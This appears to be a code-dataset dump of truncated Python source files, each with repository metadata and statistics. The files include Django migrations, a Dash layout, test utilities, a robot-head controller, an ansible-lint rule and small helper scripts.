self... | 29.528736 | 118 | 0.576489 | 310 | 2,569 | 4.677419 | 0.258065 | 0.077241 | 0.027586 | 0.028966 | 0.110345 | 0.074483 | 0.074483 | 0.074483 | 0.074483 | 0.074483 | 0 | 0.001733 | 0.326197 | 2,569 | 86 | 119 | 29.872093 | 0.835933 | 0.008174 | 0 | 0.081967 | 0 | 0 | 0.012176 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.081967 | false | 0.098361 | 0.081967 | 0 | 0.311475 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e052485e2c0e2c50739c4fc331abf87564730553 | 1,147 | py | Python | docs/migrations/0001_initial.py | MAKENTNU/web | 7a5b512bf4c087d1561cdb623d7df4b3d04811a2 | [
"MIT"
] | 10 | 2017-11-25T01:47:20.000Z | 2020-03-24T18:28:24.000Z | docs/migrations/0001_initial.py | MAKENTNU/web | 7a5b512bf4c087d1561cdb623d7df4b3d04811a2 | [
"MIT"
] | 319 | 2017-11-16T09:56:03.000Z | 2022-03-28T00:24:37.000Z | docs/migrations/0001_initial.py | MAKENTNU/web | 7a5b512bf4c087d1561cdb623d7df4b3d04811a2 | [
"MIT"
] | 6 | 2017-11-12T14:04:08.000Z | 2021-03-10T09:41:18.000Z | # Generated by Django 2.2.8 on 2019-12-14 22:00
import ckeditor_uploader.fields
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Page',... | 34.757576 | 158 | 0.615519 | 119 | 1,147 | 5.798319 | 0.470588 | 0.095652 | 0.063768 | 0.063768 | 0.228986 | 0.228986 | 0.228986 | 0.228986 | 0.228986 | 0.228986 | 0 | 0.019837 | 0.252833 | 1,147 | 32 | 159 | 35.84375 | 0.785298 | 0.039233 | 0 | 0.4 | 1 | 0 | 0.085455 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.12 | 0 | 0.28 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e054a8d40aeeaf76f94e171fd4bf057cc9d01570 | 1,011 | py | Python | pyne/client.py | winbotscript/pyne | 689fa5d8135b711b480a4200873ba3b32c8d735c | [
"MIT"
] | 1 | 2020-04-23T21:14:12.000Z | 2020-04-23T21:14:12.000Z | pyne/client.py | winbotscript/pyne | 689fa5d8135b711b480a4200873ba3b32c8d735c | [
"MIT"
] | null | null | null | pyne/client.py | winbotscript/pyne | 689fa5d8135b711b480a4200873ba3b32c8d735c | [
"MIT"
] | null | null | null | """
Copyright (c) 2019 4masaka
This software is released under the MIT License.
https://opensource.org/licenses/MIT
"""
import asyncio
from logging import getLogger
from .config import Config, Endpoints
from .api import AuthApiFactory, TalkApiFactory
log = getLogger(__name__)
class Client:
"""Clientクラス
... | 25.275 | 91 | 0.676558 | 119 | 1,011 | 5.546218 | 0.470588 | 0.060606 | 0.059091 | 0.051515 | 0.060606 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006452 | 0.233432 | 1,011 | 39 | 92 | 25.923077 | 0.845161 | 0.234421 | 0 | 0 | 0 | 0 | 0.037787 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0.055556 | 0.222222 | 0 | 0.388889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e0552257c9a0ae56c0491c1b2b3775cf3db0bb90 | 6,199 | py | Python | cocpit/dash_app/layout/sidebar.py | vprzybylo/COCPIT | cce6d614e9646bdf6c74c8163ad73126c429b6fa | [
"MIT"
] | 1 | 2020-08-27T14:29:13.000Z | 2020-08-27T14:29:13.000Z | cocpit/dash_app/layout/sidebar.py | vprzybylo/COCPIT | cce6d614e9646bdf6c74c8163ad73126c429b6fa | [
"MIT"
] | 1 | 2020-08-27T15:37:51.000Z | 2020-08-27T16:56:00.000Z | cocpit/dash_app/layout/sidebar.py | vprzybylo/COCPIT | cce6d614e9646bdf6c74c8163ad73126c429b6fa | [
"MIT"
] | null | null | null | from pydoc import classname
import dash_bootstrap_components as dbc
from dash import dcc, html
import globals
from datetime import date
from dash_extensions.enrich import Input, Output, State, ServersideOutput, dcc
def sidebar():
sidebar = html.Div(
children=[
dbc.Row(
dbc.Lab... | 32.973404 | 87 | 0.356348 | 475 | 6,199 | 4.616842 | 0.294737 | 0.05472 | 0.036936 | 0.057456 | 0.50114 | 0.452804 | 0.387597 | 0.309166 | 0.209758 | 0.195166 | 0 | 0.044278 | 0.526375 | 6,199 | 187 | 88 | 33.149733 | 0.702657 | 0.04533 | 0 | 0.567251 | 0 | 0 | 0.149196 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.005848 | false | 0 | 0.035088 | 0 | 0.046784 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e05a717316ba3d15b340b818025ca206c7d8de43 | 8,304 | py | Python | script/maple/core/testing.py | SnowOnion/maple | 14b2769a07473f9eca6ea1bc7f57bbefe1db46f4 | [
"Apache-2.0"
] | 58 | 2015-03-18T07:37:05.000Z | 2022-01-17T18:15:28.000Z | script/maple/core/testing.py | SnowOnion/maple | 14b2769a07473f9eca6ea1bc7f57bbefe1db46f4 | [
"Apache-2.0"
] | 7 | 2015-08-26T16:22:52.000Z | 2021-04-01T05:24:39.000Z | script/maple/core/testing.py | SnowOnion/maple | 14b2769a07473f9eca6ea1bc7f57bbefe1db46f4 | [
"Apache-2.0"
] | 24 | 2015-03-18T07:35:06.000Z | 2022-02-23T14:01:57.000Z | """Copyright 2011 The University of Michigan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writi... | 29.342756 | 72 | 0.554672 | 1,017 | 8,304 | 4.40708 | 0.20649 | 0.040161 | 0.05801 | 0.017849 | 0.325524 | 0.274877 | 0.213075 | 0.184516 | 0.184516 | 0.184516 | 0 | 0.008312 | 0.348025 | 8,304 | 282 | 73 | 29.446809 | 0.819542 | 0.135477 | 0 | 0.489627 | 0 | 0 | 0.007179 | 0 | 0 | 0 | 0 | 0 | 0.037344 | 1 | 0.195021 | false | 0.058091 | 0.024896 | 0.029046 | 0.373444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e05b2629d20e6e11218c3f7a96d85f608fc4eb6e | 33,746 | py | Python | src/enstore_functions2.py | moibenko/enstore | 6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9 | [
"Intel",
"Unlicense"
] | 4 | 2021-10-17T11:17:59.000Z | 2022-02-28T16:58:40.000Z | src/enstore_functions2.py | moibenko/enstore | 6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9 | [
"Intel",
"Unlicense"
] | 17 | 2021-10-05T21:44:06.000Z | 2022-03-31T16:58:40.000Z | src/enstore_functions2.py | moibenko/enstore | 6f2ff5b67ff73872a9e68f2a68b0bdaa70cef9b9 | [
"Intel",
"Unlicense"
] | 8 | 2021-09-02T18:55:49.000Z | 2022-03-09T21:05:28.000Z | #!/usr/bin/env python
###############################################################################
#
# $Id$
#
###############################################################################
# system imports
import sys
import time
import string
import os
#import exceptions
#import tempfile
import types
#import pwd
... | 34.190476 | 91 | 0.608754 | 4,407 | 33,746 | 4.488541 | 0.162469 | 0.009352 | 0.023204 | 0.011678 | 0.386583 | 0.330974 | 0.310854 | 0.271372 | 0.259491 | 0.225772 | 0 | 0.009209 | 0.263083 | 33,746 | 986 | 92 | 34.225152 | 0.786231 | 0.286286 | 0 | 0.398026 | 0 | 0 | 0.053385 | 0.000972 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.006579 | 0.023026 | null | null | 0.003289 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e05b372683ed92af96bcbd4e044f210dfc1dab54 | 891 | py | Python | tests/integration/test_unicode_scroll.py | zhammer/finnegan-forever | de32e33b7c21cbe0504246711aa01e4604ff5062 | [
"MIT"
] | null | null | null | tests/integration/test_unicode_scroll.py | zhammer/finnegan-forever | de32e33b7c21cbe0504246711aa01e4604ff5062 | [
"MIT"
] | 11 | 2018-04-15T17:58:54.000Z | 2018-06-27T19:29:07.000Z | tests/integration/test_unicode_scroll.py | zhammer/finnegan-forever | de32e33b7c21cbe0504246711aa01e4604ff5062 | [
"MIT"
] | 1 | 2018-05-05T12:04:15.000Z | 2018-05-05T12:04:15.000Z | """Integration test module for finnegan_forever.gateways.unicode_scroll."""
import pytest
from finnegan_forever.gateways.unicode_scroll import UnicodeScrollGateway
def test_scroll_gateway_read(finnegans_wake_unicode_chars):
"""Read the entire Finnegan's Wake text using the UnicodeScrollGateway and check that all... | 33 | 93 | 0.747475 | 118 | 891 | 5.559322 | 0.466102 | 0.13872 | 0.091463 | 0.114329 | 0.128049 | 0.128049 | 0 | 0 | 0 | 0 | 0 | 0.003984 | 0.154882 | 891 | 26 | 94 | 34.269231 | 0.853918 | 0.32211 | 0 | 0 | 0 | 0 | 0.105354 | 0.084629 | 0 | 0 | 0 | 0 | 0.230769 | 1 | 0.153846 | false | 0.076923 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e05e1c67a94add50a7d6013f35e6e21c68ce9d91 | 473 | py | Python | api/migrations/0009_deal_link.py | alaasalman/aussieshopper | ac3584e7d0e7cb62d138f6dc9122f44a3a4d264e | [
"MIT"
] | null | null | null | api/migrations/0009_deal_link.py | alaasalman/aussieshopper | ac3584e7d0e7cb62d138f6dc9122f44a3a4d264e | [
"MIT"
] | 15 | 2021-06-10T22:37:58.000Z | 2022-02-17T04:45:09.000Z | api/migrations/0009_deal_link.py | alaasalman/aussieshopper | ac3584e7d0e7cb62d138f6dc9122f44a3a4d264e | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-01-26 02:02
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0008_userprofile_last_deal_sent_id'),
]
operations = [
migrations.Ad... | 22.52381 | 71 | 0.617336 | 54 | 473 | 5.185185 | 0.777778 | 0.057143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059829 | 0.257928 | 473 | 20 | 72 | 23.65 | 0.737892 | 0.143763 | 0 | 0 | 1 | 0 | 0.131841 | 0.084577 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.153846 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e06455d435f0e47503902d2bebf9027213f97c1c | 2,957 | py | Python | python/qibuild/test/test_qibuild_find.py | vbarbaresi/qibuild | eab6b815fe0af49ea5c41ccddcd0dff2363410e1 | [
"BSD-3-Clause"
] | null | null | null | python/qibuild/test/test_qibuild_find.py | vbarbaresi/qibuild | eab6b815fe0af49ea5c41ccddcd0dff2363410e1 | [
"BSD-3-Clause"
] | null | null | null | python/qibuild/test/test_qibuild_find.py | vbarbaresi/qibuild | eab6b815fe0af49ea5c41ccddcd0dff2363410e1 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2012-2018 SoftBank Robotics. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the COPYING file.
import qibuild.config
from qibuild import find
from qibuild.test.conftest import QiBuildAction
from qitoolchain.test.conftest import QiToolchainAction... | 37.43038 | 114 | 0.730808 | 369 | 2,957 | 5.560976 | 0.216802 | 0.190058 | 0.062378 | 0.077973 | 0.760721 | 0.72271 | 0.697856 | 0.588694 | 0.545809 | 0.545809 | 0 | 0.003911 | 0.135272 | 2,957 | 78 | 115 | 37.910256 | 0.798592 | 0.076091 | 0 | 0.649123 | 0 | 0 | 0.138298 | 0 | 0 | 0 | 0 | 0 | 0.122807 | 1 | 0.070175 | false | 0 | 0.070175 | 0 | 0.140351 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e065e18b68b1723cf977da74d27489dd7a635d56 | 6,438 | py | Python | tuxdroid/head.py | TuxEatPi/tuxdroid | 99bad3362621d93f640082e594f90368edb53f58 | [
"Apache-2.0"
] | 1 | 2019-04-30T15:57:05.000Z | 2019-04-30T15:57:05.000Z | tuxdroid/head.py | TuxEatPi/tuxdroid | 99bad3362621d93f640082e594f90368edb53f58 | [
"Apache-2.0"
] | null | null | null | tuxdroid/head.py | TuxEatPi/tuxdroid | 99bad3362621d93f640082e594f90368edb53f58 | [
"Apache-2.0"
] | null | null | null | """Module defining TuxDroid Head"""
from concurrent.futures import ThreadPoolExecutor
import logging
import time
import types
from tuxdroid.gpio import GPIO
from tuxdroid.errors import TuxDroidHeadError
from tuxdroid.mouth import Mouth
from tuxdroid.eyes import Eyes
# TODO Improve button bounce time
BUTTON_BOUNCE_TI... | 40.2375 | 95 | 0.595993 | 740 | 6,438 | 4.993243 | 0.197297 | 0.024357 | 0.027605 | 0.030853 | 0.336942 | 0.309337 | 0.273342 | 0.227334 | 0.209472 | 0.112585 | 0 | 0.00201 | 0.304598 | 6,438 | 159 | 96 | 40.490566 | 0.823319 | 0.121777 | 0 | 0.093458 | 0 | 0 | 0.118395 | 0 | 0 | 0 | 0 | 0.012579 | 0 | 1 | 0.074766 | false | 0 | 0.074766 | 0 | 0.158879 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e0694021a6004e6888afd4e9e2de315e7dce16ac | 2,069 | py | Python | cracking-the-coding-interview/ch1-arrays-and-strings/1.5-string-compression.py | joeghodsi/interview-questions | 3e4eb76891245ce978cb9171e87d60e3b292b0a8 | [
"Unlicense"
] | 1 | 2018-06-11T18:18:39.000Z | 2018-06-11T18:18:39.000Z | cracking-the-coding-interview/ch1-arrays-and-strings/1.5-string-compression.py | joeghodsi/interview-questions | 3e4eb76891245ce978cb9171e87d60e3b292b0a8 | [
"Unlicense"
] | null | null | null | cracking-the-coding-interview/ch1-arrays-and-strings/1.5-string-compression.py | joeghodsi/interview-questions | 3e4eb76891245ce978cb9171e87d60e3b292b0a8 | [
"Unlicense"
] | null | null | null | '''
Problem: write a function that takes in a string and compresses it such that all repeating
characters are represented by a count. Example: 'aaabbcccc' -> 'a3b2c4'. If the resulting string
is longer than the original, return the original
Solution: construct compressed string from scratch. place new char and ... | 38.314815 | 100 | 0.712421 | 292 | 2,069 | 5.006849 | 0.496575 | 0.076607 | 0.090971 | 0.039672 | 0.049248 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007519 | 0.228613 | 2,069 | 53 | 101 | 39.037736 | 0.908521 | 0.033833 | 0 | 0.153846 | 0 | 0 | 0.024707 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.269231 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e06bb68b5e93f62d00f852c795805b79274be8f6 | 1,692 | py | Python | rdmo/accounts/migrations/0013_meta.py | Raspeanut/rdmo | 9f785010a499c372a2f8368ccf76d2ea4150adcb | [
"Apache-2.0"
] | 77 | 2016-08-09T11:40:20.000Z | 2022-03-06T11:03:26.000Z | rdmo/accounts/migrations/0013_meta.py | Raspeanut/rdmo | 9f785010a499c372a2f8368ccf76d2ea4150adcb | [
"Apache-2.0"
] | 377 | 2016-07-01T13:59:36.000Z | 2022-03-30T13:53:19.000Z | rdmo/accounts/migrations/0013_meta.py | Raspeanut/rdmo | 9f785010a499c372a2f8368ccf76d2ea4150adcb | [
"Apache-2.0"
] | 47 | 2016-06-23T11:32:19.000Z | 2022-03-01T11:34:37.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.18 on 2019-01-30 14:21
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0012_rename_de_to_lang2'),
]
operations = [
migrations.AlterFi... | 41.268293 | 187 | 0.648345 | 192 | 1,692 | 5.557292 | 0.354167 | 0.052484 | 0.117151 | 0.135895 | 0.656045 | 0.656045 | 0.552952 | 0.279288 | 0.279288 | 0.279288 | 0 | 0.025842 | 0.245272 | 1,692 | 40 | 188 | 42.3 | 0.80971 | 0.04078 | 0 | 0.454545 | 1 | 0 | 0.343827 | 0.014198 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.060606 | 0 | 0.151515 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e06d1fd9053435e5d386cd022bb0cb7fefac4fcc | 228 | py | Python | pysurf/utils/strutils.py | MFSJMenger/pysurf | 99c6a94d4cb5046f16a0961b907061d989ffb6dc | [
"Apache-2.0"
] | 7 | 2020-10-28T13:46:08.000Z | 2021-05-27T06:41:56.000Z | pysurf/utils/strutils.py | MFSJMenger/pysurf | 99c6a94d4cb5046f16a0961b907061d989ffb6dc | [
"Apache-2.0"
] | 2 | 2020-10-27T19:15:12.000Z | 2020-10-27T19:15:25.000Z | pysurf/utils/strutils.py | MFSJMenger/pysurf | 99c6a94d4cb5046f16a0961b907061d989ffb6dc | [
"Apache-2.0"
] | 2 | 2021-04-15T05:54:30.000Z | 2022-02-08T00:10:10.000Z | import re
def split_str(a):
a = a.strip('(){}[] ')
asp = re.split(r'[;|,\s\(\)|\*|\n]',a)
asp_final = []
for i in range(len(asp)):
if asp[i] != '':
asp_final += [asp[i]]
return asp_final
| 20.727273 | 42 | 0.447368 | 34 | 228 | 2.882353 | 0.558824 | 0.244898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.298246 | 228 | 10 | 43 | 22.8 | 0.6125 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e06e08400aa68e87307fba2929cdb02d8d5f9381 | 1,796 | py | Python | samples/migrations/0001_initial.py | salexkidd/restframework-definable-serializer-example | d0aa946e72e9bf123249187f0c17193216363c2d | [
"Unlicense"
] | null | null | null | samples/migrations/0001_initial.py | salexkidd/restframework-definable-serializer-example | d0aa946e72e9bf123249187f0c17193216363c2d | [
"Unlicense"
] | null | null | null | samples/migrations/0001_initial.py | salexkidd/restframework-definable-serializer-example | d0aa946e72e9bf123249187f0c17193216363c2d | [
"Unlicense"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2017-10-29 06:09
from __future__ import unicode_literals
import definable_serializer.models.fields
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrat... | 34.538462 | 114 | 0.569599 | 151 | 1,796 | 6.602649 | 0.397351 | 0.095286 | 0.125376 | 0.155466 | 0.687061 | 0.564694 | 0.564694 | 0.564694 | 0.564694 | 0.564694 | 0 | 0.020951 | 0.30902 | 1,796 | 51 | 115 | 35.215686 | 0.782434 | 0.037862 | 0 | 0.55814 | 1 | 0 | 0.073623 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.069767 | 0 | 0.162791 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e070289b108b9f8bf72f1e981f98e9e91957b1e9 | 438 | py | Python | setup.py | nhfruchter/pgh-bustime | 456e23158aa421f12b79217d036e26106492fb7b | [
"MIT"
] | 11 | 2015-01-17T02:31:19.000Z | 2021-10-02T15:16:05.000Z | setup.py | alexandrabush/pi-bus-plus | 60adc35776b8d9871b7f6d4edfe48c6da8251ff2 | [
"MIT"
] | 3 | 2017-03-28T02:15:02.000Z | 2020-01-02T00:37:47.000Z | setup.py | alexandrabush/pi-bus-plus | 60adc35776b8d9871b7f6d4edfe48c6da8251ff2 | [
"MIT"
] | 3 | 2015-01-17T02:52:58.000Z | 2020-01-01T03:37:45.000Z | from setuptools import setup, find_packages
setup(
name="pgh-bustime",
version='0.8.5',
author='Nathaniel Fruchter',
author_email='pghbustime@gmail.com',
packages=['pghbustime'],
url='http://github.com/nhfruchter/pgh-bustime',
license='LICENSE',
description='Python wrapper for the Port A... | 33.692308 | 106 | 0.707763 | 52 | 438 | 5.903846 | 0.846154 | 0.065147 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008086 | 0.152968 | 438 | 12 | 107 | 36.5 | 0.819407 | 0 | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e075b707bc0645308475a461312bfae74afa7177 | 450 | py | Python | envdsys/envdaq/migrations/0038_daqinstrument_measurement_sets.py | NOAA-PMEL/envDataSystem | 4db4a3569d2329658799a3eef06ce36dd5c0597d | [
"Unlicense"
] | 1 | 2021-11-06T19:22:53.000Z | 2021-11-06T19:22:53.000Z | envdsys/envdaq/migrations/0038_daqinstrument_measurement_sets.py | NOAA-PMEL/envDataSystem | 4db4a3569d2329658799a3eef06ce36dd5c0597d | [
"Unlicense"
] | 25 | 2019-06-18T20:40:36.000Z | 2021-07-23T20:56:48.000Z | envdsys/envdaq/migrations/0038_daqinstrument_measurement_sets.py | NOAA-PMEL/envDataSystem | 4db4a3569d2329658799a3eef06ce36dd5c0597d | [
"Unlicense"
] | null | null | null | # Generated by Django 3.1.7 on 2021-05-28 15:48
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('envdaq', '0037_daqcontroller_namespace2'),
]
operations = [
migrations.AddField(
model_name='daqinstrument',
name='m... | 23.684211 | 94 | 0.635556 | 47 | 450 | 5.978723 | 0.808511 | 0.106762 | 0.135231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059524 | 0.253333 | 450 | 18 | 95 | 25 | 0.776786 | 0.1 | 0 | 0 | 1 | 0 | 0.198511 | 0.07196 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e07967027fbada3b283bcb267f8d096e480308bd | 576 | py | Python | src/ansiblelint/rules/TaskNoLocalAction.py | ResilienceCare/ansible-lint | 90e7449ab16305813bc4ff892ecf8ae47d5a79f0 | [
"MIT"
] | 484 | 2020-12-12T06:34:22.000Z | 2022-03-21T15:30:35.000Z | src/ansiblelint/rules/TaskNoLocalAction.py | ResilienceCare/ansible-lint | 90e7449ab16305813bc4ff892ecf8ae47d5a79f0 | [
"MIT"
] | 488 | 2020-12-11T14:57:26.000Z | 2022-03-21T11:33:01.000Z | src/ansiblelint/rules/TaskNoLocalAction.py | ResilienceCare/ansible-lint | 90e7449ab16305813bc4ff892ecf8ae47d5a79f0 | [
"MIT"
] | 132 | 2020-12-13T16:58:47.000Z | 2022-03-20T15:52:24.000Z | # Copyright (c) 2016, Tsukinowa Inc. <info@tsukinowa.jp>
# Copyright (c) 2018, Ansible Project
from ansiblelint.rules import AnsibleLintRule
class TaskNoLocalAction(AnsibleLintRule):
id = 'deprecated-local-action'
shortdesc = "Do not use 'local_action', use 'delegate_to: localhost'"
description = 'Do not ... | 32 | 79 | 0.671875 | 69 | 576 | 5.521739 | 0.695652 | 0.115486 | 0.041995 | 0.068241 | 0.215223 | 0.215223 | 0.215223 | 0.215223 | 0.215223 | 0 | 0 | 0.024229 | 0.211806 | 576 | 17 | 80 | 33.882353 | 0.814978 | 0.15625 | 0 | 0 | 0 | 0 | 0.358178 | 0.047619 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.916667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
0eb600515aa16c43422e0fafd8be4fb929aaa8de | 452 | py | Python | util/chplenv/chpl_lib_pic.py | afiuorio/chapel | 22e502d12ed5aaacb4964be02a3c1faf4d98c627 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | util/chplenv/chpl_lib_pic.py | afiuorio/chapel | 22e502d12ed5aaacb4964be02a3c1faf4d98c627 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | util/chplenv/chpl_lib_pic.py | afiuorio/chapel | 22e502d12ed5aaacb4964be02a3c1faf4d98c627 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
import os
import sys
chplenv_dir = os.path.dirname(__file__)
sys.path.insert(0, os.path.abspath(chplenv_dir))
import overrides
from utils import memoize
@memoize
def get():
lib_pic_val = overrides.get('CHPL_LIB_PIC')
if not lib_pic_val:
lib_pic_val = 'none'
